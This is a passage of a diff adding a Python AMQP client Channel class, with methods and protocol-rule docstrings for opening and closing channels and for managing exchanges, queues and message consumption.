_METHODS = {m.method_sig: m for m in _METHODS} + + _ALLOWED_METHODS_WHEN_CLOSING = ( + spec.Channel.Close, spec.Channel.CloseOk + ) + + def __init__(self, connection, + channel_id=None, auto_decode=True, on_open=None): + if channel_id: + connection._claim_channel_id(channel_id) + else: + channel_id = connection._get_free_channel_id() + + AMQP_LOGGER.debug('using channel_id: %s', channel_id) + + super().__init__(connection, channel_id) + + self.is_open = False + self.active = True # Flow control + self.returned_messages = Queue() + self.callbacks = {} + self.cancel_callbacks = {} + self.auto_decode = auto_decode + self.events = defaultdict(set) + self.no_ack_consumers = set() + + self.on_open = ensure_promise(on_open) + + # set first time basic_publish_confirm is called + # and publisher confirms are enabled for this channel. + self._confirm_selected = False + if self.connection.confirm_publish: + self.basic_publish = self.basic_publish_confirm + + __slots__ = ( + "is_open", + "active", + "returned_messages", + "callbacks", + "cancel_callbacks", + "events", + "no_ack_consumers", + "on_open", + "_confirm_selected", + ) + + def then(self, on_success, on_error=None): + return self.on_open.then(on_success, on_error) + + def _setup_listeners(self): + self._callbacks.update({ + spec.Channel.Close: self._on_close, + spec.Channel.CloseOk: self._on_close_ok, + spec.Channel.Flow: self._on_flow, + spec.Channel.OpenOk: self._on_open_ok, + spec.Basic.Cancel: self._on_basic_cancel, + spec.Basic.CancelOk: self._on_basic_cancel_ok, + spec.Basic.Deliver: self._on_basic_deliver, + spec.Basic.Return: self._on_basic_return, + spec.Basic.Ack: self._on_basic_ack, + spec.Basic.Nack: self._on_basic_nack, + }) + + def collect(self): + """Tear down this object. + + Best called after we've agreed to close with the server. + """ + AMQP_LOGGER.debug('Closed channel #%s', self.channel_id) + self.is_open = False + channel_id, self.channel_id = self.channel_id, None + connection, self.connection = self.connection, None + if connection: + connection.channels.pop(channel_id, None) + try: + connection._used_channel_ids.remove(channel_id) + except ValueError: + # channel id already removed + pass + self.callbacks.clear() + self.cancel_callbacks.clear() + self.events.clear() + self.no_ack_consumers.clear() + + def _do_revive(self): + self.is_open = False + self.open() + + def close(self, reply_code=0, reply_text='', method_sig=(0, 0), + argsig='BsBB'): + """Request a channel close. + + This method indicates that the sender wants to close the + channel. This may be due to internal conditions (e.g. a forced + shut-down) or due to an error handling a specific method, i.e. + an exception. When a close is due to an exception, the sender + provides the class and method id of the method which caused + the exception. + + RULE: + + After sending this method any received method except + Channel.Close-OK MUST be discarded. + + RULE: + + The peer sending this method MAY use a counter or timeout + to detect failure of the other peer to respond correctly + with Channel.Close-OK.. + + PARAMETERS: + reply_code: short + + The reply code. The AMQ reply codes are defined in AMQ + RFC 011. + + reply_text: shortstr + + The localised reply text. This text can be logged as an + aid to resolving issues. + + class_id: short + + failing method class + + When the close is provoked by a method exception, this + is the class of the method. + + method_id: short + + failing method ID + + When the close is provoked by a method exception, this + is the ID of the method. + """ + try: + if self.connection is None: + return + if self.connection.channels is None: + return + if not self.is_open: + return + + self.is_closing = True + return self.send_method( + spec.Channel.Close, argsig, + (reply_code, reply_text, method_sig[0], method_sig[1]), + wait=spec.Channel.CloseOk, + ) + finally: + self.is_closing = False + self.connection = None + + def _on_close(self, reply_code, reply_text, class_id, method_id): + """Request a channel close. + + This method indicates that the sender wants to close the + channel. This may be due to internal conditions (e.g. a forced + shut-down) or due to an error handling a specific method, i.e. + an exception. When a close is due to an exception, the sender + provides the class and method id of the method which caused + the exception. + + RULE: + + After sending this method any received method except + Channel.Close-OK MUST be discarded. + + RULE: + + The peer sending this method MAY use a counter or timeout + to detect failure of the other peer to respond correctly + with Channel.Close-OK.. + + PARAMETERS: + reply_code: short + + The reply code. The AMQ reply codes are defined in AMQ + RFC 011. + + reply_text: shortstr + + The localised reply text. This text can be logged as an + aid to resolving issues. + + class_id: short + + failing method class + + When the close is provoked by a method exception, this + is the class of the method. + + method_id: short + + failing method ID + + When the close is provoked by a method exception, this + is the ID of the method. + """ + self.send_method(spec.Channel.CloseOk) + if not self.connection.is_closing: + self._do_revive() + raise error_for_code( + reply_code, reply_text, (class_id, method_id), ChannelError, + ) + + def _on_close_ok(self): + """Confirm a channel close. + + This method confirms a Channel.Close method and tells the + recipient that it is safe to release resources for the channel + and close the socket. + + RULE: + + A peer that detects a socket closure without having + received a Channel.Close-Ok handshake method SHOULD log + the error. + """ + self.collect() + + def flow(self, active): + """Enable/disable flow from peer. + + This method asks the peer to pause or restart the flow of + content data. This is a simple flow-control mechanism that a + peer can use to avoid overflowing its queues or otherwise + finding itself receiving more messages than it can process. + Note that this method is not intended for window control. The + peer that receives a request to stop sending content should + finish sending the current content, if any, and then wait + until it receives a Flow restart method. + + RULE: + + When a new channel is opened, it is active. Some + applications assume that channels are inactive until + started. To emulate this behaviour a client MAY open the + channel, then pause it. + + RULE: + + When sending content data in multiple frames, a peer + SHOULD monitor the channel for incoming methods and + respond to a Channel.Flow as rapidly as possible. + + RULE: + + A peer MAY use the Channel.Flow method to throttle + incoming content data for internal reasons, for example, + when exchanging data over a slower connection. + + RULE: + + The peer that requests a Channel.Flow method MAY + disconnect and/or ban a peer that does not respect the + request. + + PARAMETERS: + active: boolean + + start/stop content frames + + If True, the peer starts sending content frames. If + False, the peer stops sending content frames. + """ + return self.send_method( + spec.Channel.Flow, 'b', (active,), wait=spec.Channel.FlowOk, + ) + + def _on_flow(self, active): + """Enable/disable flow from peer. + + This method asks the peer to pause or restart the flow of + content data. This is a simple flow-control mechanism that a + peer can use to avoid overflowing its queues or otherwise + finding itself receiving more messages than it can process. + Note that this method is not intended for window control. The + peer that receives a request to stop sending content should + finish sending the current content, if any, and then wait + until it receives a Flow restart method. + + RULE: + + When a new channel is opened, it is active. Some + applications assume that channels are inactive until + started. To emulate this behaviour a client MAY open the + channel, then pause it. + + RULE: + + When sending content data in multiple frames, a peer + SHOULD monitor the channel for incoming methods and + respond to a Channel.Flow as rapidly as possible. + + RULE: + + A peer MAY use the Channel.Flow method to throttle + incoming content data for internal reasons, for example, + when exchanging data over a slower connection. + + RULE: + + The peer that requests a Channel.Flow method MAY + disconnect and/or ban a peer that does not respect the + request. + + PARAMETERS: + active: boolean + + start/stop content frames + + If True, the peer starts sending content frames. If + False, the peer stops sending content frames. + """ + self.active = active + self._x_flow_ok(self.active) + + def _x_flow_ok(self, active): + """Confirm a flow method. + + Confirms to the peer that a flow command was received and + processed. + + PARAMETERS: + active: boolean + + current flow setting + + Confirms the setting of the processed flow method: + True means the peer will start sending or continue + to send content frames; False means it will not. + """ + return self.send_method(spec.Channel.FlowOk, 'b', (active,)) + + def open(self): + """Open a channel for use. + + This method opens a virtual connection (a channel). + + RULE: + + This method MUST NOT be called when the channel is already + open. + + PARAMETERS: + out_of_band: shortstr (DEPRECATED) + + out-of-band settings + + Configures out-of-band transfers on this channel. The + syntax and meaning of this field will be formally + defined at a later date. + """ + if self.is_open: + return + + return self.send_method( + spec.Channel.Open, 's', ('',), wait=spec.Channel.OpenOk, + ) + + def _on_open_ok(self): + """Signal that the channel is ready. + + This method signals to the client that the channel is ready + for use. + """ + self.is_open = True + self.on_open(self) + AMQP_LOGGER.debug('Channel open') + + ############# + # + # Exchange + # + # + # work with exchanges + # + # Exchanges match and distribute messages across queues. + # Exchanges can be configured in the server or created at runtime. + # + # GRAMMAR:: + # + # exchange = C:DECLARE S:DECLARE-OK + # / C:DELETE S:DELETE-OK + # + # RULE: + # + # The server MUST implement the direct and fanout exchange + # types, and predeclare the corresponding exchanges named + # amq.direct and amq.fanout in each virtual host. The server + # MUST also predeclare a direct exchange to act as the default + # exchange for content Publish methods and for default queue + # bindings. + # + # RULE: + # + # The server SHOULD implement the topic exchange type, and + # predeclare the corresponding exchange named amq.topic in + # each virtual host. + # + # RULE: + # + # The server MAY implement the system exchange type, and + # predeclare the corresponding exchanges named amq.system in + # each virtual host. If the client attempts to bind a queue to + # the system exchange, the server MUST raise a connection + # exception with reply code 507 (not allowed). + # + + def exchange_declare(self, exchange, type, passive=False, durable=False, + auto_delete=True, nowait=False, arguments=None, + argsig='BssbbbbbF'): + """Declare exchange, create if needed. + + This method creates an exchange if it does not already exist, + and if the exchange exists, verifies that it is of the correct + and expected class. + + RULE: + + The server SHOULD support a minimum of 16 exchanges per + virtual host and ideally, impose no limit except as + defined by available resources. + + PARAMETERS: + exchange: shortstr + + RULE: + + Exchange names starting with "amq." are reserved + for predeclared and standardised exchanges. If + the client attempts to create an exchange starting + with "amq.", the server MUST raise a channel + exception with reply code 403 (access refused). + + type: shortstr + + exchange type + + Each exchange belongs to one of a set of exchange + types implemented by the server. The exchange types + define the functionality of the exchange - i.e. how + messages are routed through it. It is not valid or + meaningful to attempt to change the type of an + existing exchange. + + RULE: + + If the exchange already exists with a different + type, the server MUST raise a connection exception + with a reply code 507 (not allowed). + + RULE: + + If the server does not support the requested + exchange type it MUST raise a connection exception + with a reply code 503 (command invalid). + + passive: boolean + + do not create exchange + + If set, the server will not create the exchange. The + client can use this to check whether an exchange + exists without modifying the server state. + + RULE: + + If set, and the exchange does not already exist, + the server MUST raise a channel exception with + reply code 404 (not found). + + durable: boolean + + request a durable exchange + + If set when creating a new exchange, the exchange will + be marked as durable. Durable exchanges remain active + when a server restarts. Non-durable exchanges + (transient exchanges) are purged if/when a server + restarts. + + RULE: + + The server MUST support both durable and transient + exchanges. + + RULE: + + The server MUST ignore the durable field if the + exchange already exists. + + auto_delete: boolean + + auto-delete when unused + + If set, the exchange is deleted when all queues have + finished using it. + + RULE: + + The server SHOULD allow for a reasonable delay + between the point when it determines that an + exchange is not being used (or no longer used), + and the point when it deletes the exchange. At + the least it must allow a client to create an + exchange and then bind a queue to it, with a small + but non-zero delay between these two actions. + + RULE: + + The server MUST ignore the auto-delete field if + the exchange already exists. + + nowait: boolean + + do not send a reply method + + If set, the server will not respond to the method. The + client should not wait for a reply method. If the + server could not complete the method it will raise a + channel or connection exception. + + arguments: table + + arguments for declaration + + A set of arguments for the declaration. The syntax and + semantics of these arguments depends on the server + implementation. This field is ignored if passive is + True. + """ + self.send_method( + spec.Exchange.Declare, argsig, + (0, exchange, type, passive, durable, auto_delete, + False, nowait, arguments), + wait=None if nowait else spec.Exchange.DeclareOk, + ) + + def exchange_delete(self, exchange, if_unused=False, nowait=False, + argsig='Bsbb'): + """Delete an exchange. + + This method deletes an exchange. When an exchange is deleted + all queue bindings on the exchange are cancelled. + + PARAMETERS: + exchange: shortstr + + RULE: + + The exchange MUST exist. Attempting to delete a + non-existing exchange causes a channel exception. + + if_unused: boolean + + delete only if unused + + If set, the server will only delete the exchange if it + has no queue bindings. If the exchange has queue + bindings the server does not delete it but raises a + channel exception instead. + + RULE: + + If set, the server SHOULD delete the exchange but + only if it has no queue bindings. + + RULE: + + If set, the server SHOULD raise a channel + exception if the exchange is in use. + + nowait: boolean + + do not send a reply method + + If set, the server will not respond to the method. The + client should not wait for a reply method. If the + server could not complete the method it will raise a + channel or connection exception. + """ + return self.send_method( + spec.Exchange.Delete, argsig, (0, exchange, if_unused, nowait), + wait=None if nowait else spec.Exchange.DeleteOk, + ) + + def exchange_bind(self, destination, source='', routing_key='', + nowait=False, arguments=None, argsig='BsssbF'): + """Bind an exchange to an exchange. + + RULE: + + A server MUST allow and ignore duplicate bindings - that + is, two or more bind methods for a specific exchanges, + with identical arguments - without treating these as an + error. + + RULE: + + A server MUST allow cycles of exchange bindings to be + created including allowing an exchange to be bound to + itself. + + RULE: + + A server MUST not deliver the same message more than once + to a destination exchange, even if the topology of + exchanges and bindings results in multiple (even infinite) + routes to that exchange. + + PARAMETERS: + reserved-1: short + + destination: shortstr + + Specifies the name of the destination exchange to + bind. + + RULE: + + A client MUST NOT be allowed to bind a non- + existent destination exchange. + + RULE: + + The server MUST accept a blank exchange name to + mean the default exchange. + + source: shortstr + + Specifies the name of the source exchange to bind. + + RULE: + + A client MUST NOT be allowed to bind a non- + existent source exchange. + + RULE: + + The server MUST accept a blank exchange name to + mean the default exchange. + + routing-key: shortstr + + Specifies the routing key for the binding. The routing + key is used for routing messages depending on the + exchange configuration. Not all exchanges use a + routing key - refer to the specific exchange + documentation. + + no-wait: bit + + arguments: table + + A set of arguments for the binding. The syntax and + semantics of these arguments depends on the exchange + class. + """ + return self.send_method( + spec.Exchange.Bind, argsig, + (0, destination, source, routing_key, nowait, arguments), + wait=None if nowait else spec.Exchange.BindOk, + ) + + def exchange_unbind(self, destination, source='', routing_key='', + nowait=False, arguments=None, argsig='BsssbF'): + """Unbind an exchange from an exchange. + + RULE: + + If a unbind fails, the server MUST raise a connection + exception. + + PARAMETERS: + reserved-1: short + + destination: shortstr + + Specifies the name of the destination exchange to + unbind. + + RULE: + + The client MUST NOT attempt to unbind an exchange + that does not exist from an exchange. + + RULE: + + The server MUST accept a blank exchange name to + mean the default exchange. + + source: shortstr + + Specifies the name of the source exchange to unbind. + + RULE: + + The client MUST NOT attempt to unbind an exchange + from an exchange that does not exist. + + RULE: + + The server MUST accept a blank exchange name to + mean the default exchange. + + routing-key: shortstr + + Specifies the routing key of the binding to unbind. + + no-wait: bit + + arguments: table + + Specifies the arguments of the binding to unbind. + """ + return self.send_method( + spec.Exchange.Unbind, argsig, + (0, destination, source, routing_key, nowait, arguments), + wait=None if nowait else spec.Exchange.UnbindOk, + ) + + ############# + # + # Queue + # + # + # work with queues + # + # Queues store and forward messages. Queues can be configured in + # the server or created at runtime. Queues must be attached to at + # least one exchange in order to receive messages from publishers. + # + # GRAMMAR:: + # + # queue = C:DECLARE S:DECLARE-OK + # / C:BIND S:BIND-OK + # / C:PURGE S:PURGE-OK + # / C:DELETE S:DELETE-OK + # + # RULE: + # + # A server MUST allow any content class to be sent to any + # queue, in any mix, and queue and delivery these content + # classes independently. Note that all methods that fetch + # content off queues are specific to a given content class. + # + + def queue_bind(self, queue, exchange='', routing_key='', + nowait=False, arguments=None, argsig='BsssbF'): + """Bind queue to an exchange. + + This method binds a queue to an exchange. Until a queue is + bound it will not receive any messages. In a classic + messaging model, store-and-forward queues are bound to a dest + exchange and subscription queues are bound to a dest_wild + exchange. + + RULE: + + A server MUST allow ignore duplicate bindings - that is, + two or more bind methods for a specific queue, with + identical arguments - without treating these as an error. + + RULE: + + If a bind fails, the server MUST raise a connection + exception. + + RULE: + + The server MUST NOT allow a durable queue to bind to a + transient exchange. If the client attempts this the server + MUST raise a channel exception. + + RULE: + + Bindings for durable queues are automatically durable and + the server SHOULD restore such bindings after a server + restart. + + RULE: + + The server SHOULD support at least 4 bindings per queue, + and ideally, impose no limit except as defined by + available resources. + + PARAMETERS: + queue: shortstr + + Specifies the name of the queue to bind. If the queue + name is empty, refers to the current queue for the + channel, which is the last declared queue. + + RULE: + + If the client did not previously declare a queue, + and the queue name in this method is empty, the + server MUST raise a connection exception with + reply code 530 (not allowed). + + RULE: + + If the queue does not exist the server MUST raise + a channel exception with reply code 404 (not + found). + + exchange: shortstr + + The name of the exchange to bind to. + + RULE: + + If the exchange does not exist the server MUST + raise a channel exception with reply code 404 (not + found). + + routing_key: shortstr + + message routing key + + Specifies the routing key for the binding. The + routing key is used for routing messages depending on + the exchange configuration. Not all exchanges use a + routing key - refer to the specific exchange + documentation. If the routing key is empty and the + queue name is empty, the routing key will be the + current queue for the channel, which is the last + declared queue. + + nowait: boolean + + do not send a reply method + + If set, the server will not respond to the method. The + client should not wait for a reply method. If the + server could not complete the method it will raise a + channel or connection exception. + + arguments: table + + arguments for binding + + A set of arguments for the binding. The syntax and + semantics of these arguments depends on the exchange + class. + """ + return self.send_method( + spec.Queue.Bind, argsig, + (0, queue, exchange, routing_key, nowait, arguments), + wait=None if nowait else spec.Queue.BindOk, + ) + + def queue_unbind(self, queue, exchange, routing_key='', + nowait=False, arguments=None, argsig='BsssF'): + """Unbind a queue from an exchange. + + This method unbinds a queue from an exchange. + + RULE: + + If a unbind fails, the server MUST raise a connection exception. + + PARAMETERS: + queue: shortstr + + Specifies the name of the queue to unbind. + + RULE: + + The client MUST either specify a queue name or have + previously declared a queue on the same channel + + RULE: + + The client MUST NOT attempt to unbind a queue that + does not exist. + + exchange: shortstr + + The name of the exchange to unbind from. + + RULE: + + The client MUST NOT attempt to unbind a queue from an + exchange that does not exist. + + RULE: + + The server MUST accept a blank exchange name to mean + the default exchange. + + routing_key: shortstr + + routing key of binding + + Specifies the routing key of the binding to unbind. + + arguments: table + + arguments of binding + + Specifies the arguments of the binding to unbind. + """ + return self.send_method( + spec.Queue.Unbind, argsig, + (0, queue, exchange, routing_key, arguments), + wait=None if nowait else spec.Queue.UnbindOk, + ) + + def queue_declare(self, queue='', passive=False, durable=False, + exclusive=False, auto_delete=True, nowait=False, + arguments=None, argsig='BsbbbbbF'): + """Declare queue, create if needed. + + This method creates or checks a queue. When creating a new + queue the client can specify various properties that control + the durability of the queue and its contents, and the level of + sharing for the queue. + + RULE: + + The server MUST create a default binding for a newly- + created queue to the default exchange, which is an + exchange of type 'direct'. + + RULE: + + The server SHOULD support a minimum of 256 queues per + virtual host and ideally, impose no limit except as + defined by available resources. + + PARAMETERS: + queue: shortstr + + RULE: + + The queue name MAY be empty, in which case the + server MUST create a new queue with a unique + generated name and return this to the client in + the Declare-Ok method. + + RULE: + + Queue names starting with "amq." are reserved for + predeclared and standardised server queues. If + the queue name starts with "amq." and the passive + option is False, the server MUST raise a connection + exception with reply code 403 (access refused). + + passive: boolean + + do not create queue + + If set, the server will not create the queue. The + client can use this to check whether a queue exists + without modifying the server state. + + RULE: + + If set, and the queue does not already exist, the + server MUST respond with a reply code 404 (not + found) and raise a channel exception. + + durable: boolean + + request a durable queue + + If set when creating a new queue, the queue will be + marked as durable. Durable queues remain active when + a server restarts. Non-durable queues (transient + queues) are purged if/when a server restarts. Note + that durable queues do not necessarily hold persistent + messages, although it does not make sense to send + persistent messages to a transient queue. + + RULE: + + The server MUST recreate the durable queue after a + restart. + + RULE: + + The server MUST support both durable and transient + queues. + + RULE: + + The server MUST ignore the durable field if the + queue already exists. + + exclusive: boolean + + request an exclusive queue + + Exclusive queues may only be consumed from by the + current connection. Setting the 'exclusive' flag + always implies 'auto-delete'. + + RULE: + + The server MUST support both exclusive (private) + and non-exclusive (shared) queues. + + RULE: + + The server MUST raise a channel exception if + 'exclusive' is specified and the queue already + exists and is owned by a different connection. + + auto_delete: boolean + + auto-delete queue when unused + + If set, the queue is deleted when all consumers have + finished using it. Last consumer can be cancelled + either explicitly or because its channel is closed. If + there was no consumer ever on the queue, it won't be + deleted. + + RULE: + + The server SHOULD allow for a reasonable delay + between the point when it determines that a queue + is not being used (or no longer used), and the + point when it deletes the queue. At the least it + must allow a client to create a queue and then + create a consumer to read from it, with a small + but non-zero delay between these two actions. The + server should equally allow for clients that may + be disconnected prematurely, and wish to re- + consume from the same queue without losing + messages. We would recommend a configurable + timeout, with a suitable default value being one + minute. + + RULE: + + The server MUST ignore the auto-delete field if + the queue already exists. + + nowait: boolean + + do not send a reply method + + If set, the server will not respond to the method. The + client should not wait for a reply method. If the + server could not complete the method it will raise a + channel or connection exception. + + arguments: table + + arguments for declaration + + A set of arguments for the declaration. The syntax and + semantics of these arguments depends on the server + implementation. This field is ignored if passive is + True. + + Returns a tuple containing 3 items: + the name of the queue (essential for automatically-named queues), + message count and + consumer count + """ + self.send_method( + spec.Queue.Declare, argsig, + (0, queue, passive, durable, exclusive, auto_delete, + nowait, arguments), + ) + if not nowait: + return queue_declare_ok_t(*self.wait( + spec.Queue.DeclareOk, returns_tuple=True, + )) + + def queue_delete(self, queue='', + if_unused=False, if_empty=False, nowait=False, + argsig='Bsbbb'): + """Delete a queue. + + This method deletes a queue. When a queue is deleted any + pending messages are sent to a dead-letter queue if this is + defined in the server configuration, and all consumers on the + queue are cancelled. + + RULE: + + The server SHOULD use a dead-letter queue to hold messages + that were pending on a deleted queue, and MAY provide + facilities for a system administrator to move these + messages back to an active queue. + + PARAMETERS: + queue: shortstr + + Specifies the name of the queue to delete. If the + queue name is empty, refers to the current queue for + the channel, which is the last declared queue. + + RULE: + + If the client did not previously declare a queue, + and the queue name in this method is empty, the + server MUST raise a connection exception with + reply code 530 (not allowed). + + RULE: + + The queue must exist. Attempting to delete a non- + existing queue causes a channel exception. + + if_unused: boolean + + delete only if unused + + If set, the server will only delete the queue if it + has no consumers. If the queue has consumers the + server does does not delete it but raises a channel + exception instead. + + RULE: + + The server MUST respect the if-unused flag when + deleting a queue. + + if_empty: boolean + + delete only if empty + + If set, the server will only delete the queue if it + has no messages. If the queue is not empty the server + raises a channel exception. + + nowait: boolean + + do not send a reply method + + If set, the server will not respond to the method. The + client should not wait for a reply method. If the + server could not complete the method it will raise a + channel or connection exception. + + If nowait is False, returns the number of deleted messages. + """ + return self.send_method( + spec.Queue.Delete, argsig, + (0, queue, if_unused, if_empty, nowait), + wait=None if nowait else spec.Queue.DeleteOk, + ) + + def queue_purge(self, queue='', nowait=False, argsig='Bsb'): + """Purge a queue. + + This method removes all messages from a queue. It does not + cancel consumers. Purged messages are deleted without any + formal "undo" mechanism. + + RULE: + + A call to purge MUST result in an empty queue. + + RULE: + + On transacted channels the server MUST not purge messages + that have already been sent to a client but not yet + acknowledged. + + RULE: + + The server MAY implement a purge queue or log that allows + system administrators to recover accidentally-purged + messages. The server SHOULD NOT keep purged messages in + the same storage spaces as the live messages since the + volumes of purged messages may get very large. + + PARAMETERS: + queue: shortstr + + Specifies the name of the queue to purge. If the + queue name is empty, refers to the current queue for + the channel, which is the last declared queue. + + RULE: + + If the client did not previously declare a queue, + and the queue name in this method is empty, the + server MUST raise a connection exception with + reply code 530 (not allowed). + + RULE: + + The queue must exist. Attempting to purge a non- + existing queue causes a channel exception. + + nowait: boolean + + do not send a reply method + + If set, the server will not respond to the method. The + client should not wait for a reply method. If the + server could not complete the method it will raise a + channel or connection exception. + + If nowait is False, returns a number of purged messages. + """ + return self.send_method( + spec.Queue.Purge, argsig, (0, queue, nowait), + wait=None if nowait else spec.Queue.PurgeOk, + ) + + ############# + # + # Basic + # + # + # work with basic content + # + # The Basic class provides methods that support an industry- + # standard messaging model. + # + # GRAMMAR:: + # + # basic = C:QOS S:QOS-OK + # / C:CONSUME S:CONSUME-OK + # / C:CANCEL S:CANCEL-OK + # / C:PUBLISH content + # / S:RETURN content + # / S:DELIVER content + # / C:GET ( S:GET-OK content / S:GET-EMPTY ) + # / C:ACK + # / C:REJECT + # + # RULE: + # + # The server SHOULD respect the persistent property of basic + # messages and SHOULD make a best-effort to hold persistent + # basic messages on a reliable storage mechanism. + # + # RULE: + # + # The server MUST NOT discard a persistent basic message in + # case of a queue overflow. The server MAY use the + # Channel.Flow method to slow or stop a basic message + # publisher when necessary. + # + # RULE: + # + # The server MAY overflow non-persistent basic messages to + # persistent storage and MAY discard or dead-letter non- + # persistent basic messages on a priority basis if the queue + # size exceeds some configured limit. + # + # RULE: + # + # The server MUST implement at least 2 priority levels for + # basic messages, where priorities 0-4 and 5-9 are treated as + # two distinct levels. The server MAY implement up to 10 + # priority levels. + # + # RULE: + # + # The server MUST deliver messages of the same priority in + # order irrespective of their individual persistence. + # + # RULE: + # + # The server MUST support both automatic and explicit + # acknowledgments on Basic content. + # + + def basic_ack(self, delivery_tag, multiple=False, argsig='Lb'): + """Acknowledge one or more messages. + + This method acknowledges one or more messages delivered via + the Deliver or Get-Ok methods. The client can ask to confirm + a single message or a set of messages up to and including a + specific message. + + PARAMETERS: + delivery_tag: longlong + + server-assigned delivery tag + + The server-assigned and channel-specific delivery tag + + RULE: + + The delivery tag is valid only within the channel + from which the message was received. I.e. a client + MUST NOT receive a message on one channel and then + acknowledge it on another. + + RULE: + + The server MUST NOT use a zero value for delivery + tags. Zero is reserved for client use, meaning "all + messages so far received". + + multiple: boolean + + acknowledge multiple messages + + If set to True, the delivery tag is treated as "up to + and including", so that the client can acknowledge + multiple messages with a single method. If set to + False, the delivery tag refers to a single message. + If the multiple field is True, and the delivery tag + is zero, tells the server to acknowledge all + outstanding messages. + + RULE: + + The server MUST validate that a non-zero delivery- + tag refers to an delivered message, and raise a + channel exception if this is not the case. + """ + return self.send_method( + spec.Basic.Ack, argsig, (delivery_tag, multiple), + ) + + def basic_cancel(self, consumer_tag, nowait=False, argsig='sb'): + """End a queue consumer. + + This method cancels a consumer. This does not affect already + delivered messages, but it does mean the server will not send + any more messages for that consumer. The client may receive + an arbitrary number of messages in between sending the cancel + method and receiving the cancel-ok reply. + + RULE: + + If the queue no longer exists when the client sends a + cancel command, or the consumer has been cancelled for + other reasons, this command has no effect. + + PARAMETERS: + consumer_tag: shortstr + + consumer tag + + Identifier for the consumer, valid within the current + connection. + + RULE: + + The consumer tag is valid only within the channel + from which the consumer was created. I.e. a client + MUST NOT create a consumer in one channel and then + use it in another. + + nowait: boolean + + do not send a reply method + + If set, the server will not respond to the method. The + client should not wait for a reply method. If the + server could not complete the method it will raise a + channel or connection exception. + """ + if self.connection is not None: + self.no_ack_consumers.discard(consumer_tag) + return self.send_method( + spec.Basic.Cancel, argsig, (consumer_tag, nowait), + wait=None if nowait else spec.Basic.CancelOk, + ) + + def _on_basic_cancel(self, consumer_tag): + """Consumer cancelled by server. + + Most likely the queue was deleted. + + """ + callback = self._remove_tag(consumer_tag) + if callback: + callback(consumer_tag) + else: + raise ConsumerCancelled(consumer_tag, spec.Basic.Cancel) + + def _on_basic_cancel_ok(self, consumer_tag): + self._remove_tag(consumer_tag) + + def _remove_tag(self, consumer_tag): + self.callbacks.pop(consumer_tag, None) + return self.cancel_callbacks.pop(consumer_tag, None) + + def basic_consume(self, queue='', consumer_tag='', no_local=False, + no_ack=False, exclusive=False, nowait=False, + callback=None, arguments=None, on_cancel=None, + argsig='BssbbbbF'): + """Start a queue consumer. + + This method asks the server to start a "consumer", which is a + transient request for messages from a specific queue. + Consumers last as long as the channel they were created on, or + until the client cancels them. + + RULE: + + The server SHOULD support at least 16 consumers per queue, + unless the queue was declared as private, and ideally, + impose no limit except as defined by available resources. + + PARAMETERS: + queue: shortstr + + Specifies the name of the queue to consume from. If + the queue name is null, refers to the current queue + for the channel, which is the last declared queue. + + RULE: + + If the client did not previously declare a queue, + and the queue name in this method is empty, the + server MUST raise a connection exception with + reply code 530 (not allowed). + + consumer_tag: shortstr + + Specifies the identifier for the consumer. The + consumer tag is local to a connection, so two clients + can use the same consumer tags. If this field is empty + the server will generate a unique tag. + + RULE: + + The tag MUST NOT refer to an existing consumer. If + the client attempts to create two consumers with + the same non-empty tag the server MUST raise a + connection exception with reply code 530 (not + allowed). + + no_local: boolean + + do not deliver own messages + + If the no-local field is set the server will not send + messages to the client that published them. + + no_ack: boolean + + no acknowledgment needed + + If this field is set the server does not expect + acknowledgments for messages. That is, when a message + is delivered to the client the server automatically and + silently acknowledges it on behalf of the client. This + functionality increases performance but at the cost of + reliability. Messages can get lost if a client dies + before it can deliver them to the application. + + exclusive: boolean + + request exclusive access + + Request exclusive consumer access, meaning only this + consumer can access the queue. + + RULE: + + If the server cannot grant exclusive access to the + queue when asked, - because there are other + consumers active - it MUST raise a channel + exception with return code 403 (access refused). + + nowait: boolean + + do not send a reply method + + If set, the server will not respond to the method. The + client should not wait for a reply method. If the + server could not complete the method it will raise a + channel or connection exception. + + callback: Python callable + + function/method called with each delivered message + + For each message delivered by the broker, the + callable will be called with a Message object + as the single argument. If no callable is specified, + messages are quietly discarded, no_ack should probably + be set to True in that case. + """ + p = self.send_method( + spec.Basic.Consume, argsig, + ( + 0, queue, consumer_tag, no_local, no_ack, exclusive, + nowait, arguments + ), + wait=None if nowait else spec.Basic.ConsumeOk, + returns_tuple=True + ) + + if not nowait: + # send_method() returns (consumer_tag,) tuple. + # consumer_tag is returned by broker using following rules: + # * consumer_tag is not specified by client, random one + # is generated by Broker + # * consumer_tag is provided by client, the same one + # is returned by broker + consumer_tag = p[0] + elif nowait and not consumer_tag: + raise ValueError( + 'Consumer tag must be specified when nowait is True' + ) + + self.callbacks[consumer_tag] = callback + + if on_cancel: + self.cancel_callbacks[consumer_tag] = on_cancel + if no_ack: + self.no_ack_consumers.add(consumer_tag) + + if not nowait: + return consumer_tag + else: + return p + + def _on_basic_deliver(self, consumer_tag, delivery_tag, redelivered, + exchange, routing_key, msg): + msg.channel = self + msg.delivery_info = { + 'consumer_tag': consumer_tag, + 'delivery_tag': delivery_tag, + 'redelivered': redelivered, + 'exchange': exchange, + 'routing_key': routing_key, + } + + try: + fun = self.callbacks[consumer_tag] + except KeyError: + AMQP_LOGGER.warning( + REJECTED_MESSAGE_WITHOUT_CALLBACK, + delivery_tag, consumer_tag, exchange, routing_key, + ) + self.basic_reject(delivery_tag, requeue=True) + else: + fun(msg) + + def basic_get(self, queue='', no_ack=False, argsig='Bsb'): + """Direct access to a queue. + + This method provides a direct access to the messages in a + queue using a synchronous dialogue that is designed for + specific types of application where synchronous functionality + is more important than performance. + + PARAMETERS: + queue: shortstr + + Specifies the name of the queue to consume from. If + the queue name is null, refers to the current queue + for the channel, which is the last declared queue. + + RULE: + + If the client did not previously declare a queue, + and the queue name in this method is empty, the + server MUST raise a connection exception with + reply code 530 (not allowed). + + no_ack: boolean + + no acknowledgment needed + + If this field is set the server does not expect + acknowledgments for messages. That is, when a message + is delivered to the client the server automatically and + silently acknowledges it on behalf of the client. This + functionality increases performance but at the cost of + reliability. Messages can get lost if a client dies + before it can deliver them to the application. + + Non-blocking, returns a amqp.basic_message.Message object, + or None if queue is empty. + """ + ret = self.send_method( + spec.Basic.Get, argsig, (0, queue, no_ack), + wait=[spec.Basic.GetOk, spec.Basic.GetEmpty], returns_tuple=True, + ) + if not ret or len(ret) < 2: + return self._on_get_empty(*ret) + return self._on_get_ok(*ret) + + def _on_get_empty(self, cluster_id=None): + pass + + def _on_get_ok(self, delivery_tag, redelivered, exchange, routing_key, + message_count, msg): + msg.channel = self + msg.delivery_info = { + 'delivery_tag': delivery_tag, + 